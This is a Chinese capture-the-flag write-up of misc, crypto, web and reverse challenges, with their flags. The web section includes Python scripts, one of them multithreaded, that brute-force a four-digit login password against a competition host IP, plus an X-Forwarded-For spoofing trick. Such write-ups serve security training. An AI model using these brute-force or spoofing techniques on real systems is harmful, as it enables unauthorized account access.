介绍
开始时间
09:00:00, October 04, 2023
结束时间
16:00:00, October 04, 2023
解出情况 AK
最终排名 Rank1
目录
- 介绍
- 解出情况 AK
- 最终排名 Rank1
- misc
- ELF
- 污损的密码本
- 伪加密
- 简单流量
- QR
- webshell流量
- crypto
- ez_caesar
- ez_md5
- A_CRYPTO
- PigPig
- 密码签到
- Is this only base?
- web
- F12222
- 伪造内网IP
- 爆破爆破
- reverse
- easy_Re
- ELF
- upx
- segment
- xor
misc
ELF
1.使用strings工具一把梭找到flag
Flag:MaoCTF{ELF_In_The_Linux}
污损的密码本
1.根据题目提示可以生成相对应的密码本进行暴力破解,密码本生成脚本如下
import string
def generate_passwords():
passwords = []
for i in range(36**4): # 36^4种可能性
password = "6567"
base36 = string.digits + string.ascii_lowercase # 数字和小写字母
for j in range(4):
digit = i % 36 # 取余数
password += base36[digit]
i = i // 36 # 整除
password += "fer!"
passwords.append(password)
return passwords
passwords_list = generate_passwords()
with open("pass.txt", "w") as file:
for password in passwords_list:
file.write(password + "\n")
2.生成密码本后使用工具进行暴力破解得到压缩包的密码
密码为656789ctfer!
3.解压后得到flag文件
Flag:MaoCTF{f60a2644-f194-806c-d211-1edafb9e5a43}
伪加密
1.将压缩包文件放入16进制编辑器进行分析,发现全局加密位为0900
2.将全局加密位中的0900改为0000后,压缩包加密消失
修改后密码锁消失
3.得到flag文件,并查看最终flag
Flag:flag{Adm1N-B2G-kU-SZIP}
简单流量
1.打开wireshark流量包,随便对一个包实现追踪流得到flag
Flag:MaoCTF{385b87afc8671dee07550290d16a8071}
QR
1.直接扫码得到flag
欢迎欢迎!!!
Flag:Flag{878865ce73370a4ce607d21ca01b5e59}
webshell流量
2023台州市网络安全大赛原题直接同种姿势分析!!!!!
1. 通过wireshark流量分析 ,分 析为冰蝎 shell 的 流 量 ,并固定了 aes128 的
key144a6b2296333602
2.逐一进行 tcp 数据流分析,已知 aes128 的 key和密文,对提交值进行 aes 解密
3.发现解密结果为base64,再次进行base64解密
可恶的套娃
4.发现这里使用 tar+openssl 组合拳对压缩包进行加盐,使用命令openssl des3 -d -k password -salt -in flag.tar.gz | tar xzf - 进行解密得到正确的压缩包文件,打开文件后发现为aes-emoji加密
5.密码为 th1sisKey,得到 flag
Flag:DASCTF{342bffc5e8e16f0cc83bbd298efe803e}
crypto
ez_caesar
1.base64解码后得到凯撒加密的密文
2.凯撒密码爆破得到flag
Flag:NSSCTF{youhaveknowcaesar}
ez_md5
1.md5破解后得到flag
Flag:MaoCTF{md5yyds}
A_CRYPTO
1.16进制字母位移,将n到r的顺序改变为a到f的顺序即可
4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35
转换后
4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35
2.base全家桶解密得到
base16
KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5
base32
V143Pytkc2lAYlV3SlRmVXQ9X0dVdmd6KEYpP3t4V29+MElXSER9TUEkPA==
base64
W^7?+dsi@bUwJTfUt=_GUvgz(F)?{xWo~0IWHD}MA$<
base85(换表后修改字母表)
Flag:flag{W0w_y0u_c4n_rea11y_enc0d1ng!}
PigPig
1.猪圈密码根据对照表即可得到flag
对照表如下
Flag:MaoCTF{WHENTHEPIGWANTTOEAT}
密码签到
1.base64解密得到flag
Flag:flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}
Is this only base?
1.使用栅栏解密进行破译密文
2.进行base64解密后使用凯撒解密
3.得到flag
Flag:LitCTF{LeT_Us_H4V3_fU0!!!!!}
web
F12222
1.使用curl命令打印出flag
Flag:flag{c8f228c9-757d-4d66-b49a-5333f977a4a1}
伪造内网IP
1.我们通过抓包获得HTTP请求头部的信息,发现请求头中并没有XFF的信息,于是就在末尾加上了XFF
X-Forwarded-For:127.0.0.1
Flag:flag{a8557eb0-42a6-4f21-ae0a-fb5d6a96e515}
爆破爆破
1.点开是一个简单的登陆页面
网页源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
</head>
<body>
<form method="get">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<input type="submit" value="Submit" />
</form>
</body>
</html>
2.尝试输入看看错误回显
3.用户名和密码分别报错,因此可以确定用户名后爆破
4.猜测用户名点击Submit得到回显
5.于是编写脚本进行爆破
import requests
if __name__ == '__main__':
/*是四位数字,就从1000到9999依次遍历*/
for i in range(1000, 9999):
print("破解到:"+str(i))
ret = requests.get("http://8.130.35.155:31853/?username=admin&password=" + str(i)).text
if ret != "密码错误,为四位数字。":
print(ret)
print("密码为:" + str(i))
break
研发了多线程版
import requests
import threading
password_found = False # 标记是否找到密码
lock = threading.Lock() # 创建线程锁
def crack_password(start, end):
global password_found
for i in range(start, end):
if not password_found: # 检查是否已经找到密码
print("破解到:" + str(i))
ret = requests.get("http://8.130.35.155:31853/?username=admin&password=" + str(i)).text
if ret != "密码错误,为四位数字。":
with lock:
if not password_found: # 再次检查是否已经找到密码(其他线程可能已经找到)
password_found = True
print(ret)
print("密码为:" + str(i))
if __name__ == '__main__':
threads = []
thread_num = 10 # 设置线程数量
step = int((9999 - 1000) / thread_num) # 计算每个线程处理的范围
for i in range(thread_num):
start = 1000 + i * step
end = start + step
if i == thread_num - 1: # 最后一个线程负责处理剩余部分
end = 9999
t = threading.Thread(target=crack_password, args=(start, end))
threads.append(t)
t.start()
for t in threads:
t.join()
6.得到flag
Flag:lag{917de8e0-2c97-4801-96c4-4c4e69487577}
reverse
easy_Re
1.打开IDA后即可看到flag
Flag:Flag{welc0me_to_rev3rse!!}
ELF
1.打开main函数
2.两个加密,将第一个加密异或加上16
第二个加密
3.使用base64解码得到
Flag:flag{D0_4ou_7now_wha7_ELF_1s?}
upx
1.打开main函数每个加一
Flag:flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}
segment
1.IDA反编译程序
2.提示按shift+f7,即可发现flag字眼
Flag:flag{You_ar3_g0od_at_f1nding_ELF_segments_name}
xor
1.打开main函数,简单异或,然后小端序转为字符串
运行后得到flag{llittl_Endian_a
Flag:flag{llittl_Endian_a}
感谢战胜学长和李峥老师以及其他老师在国庆期间仍然为我们进行培训!!!辛苦啦!!!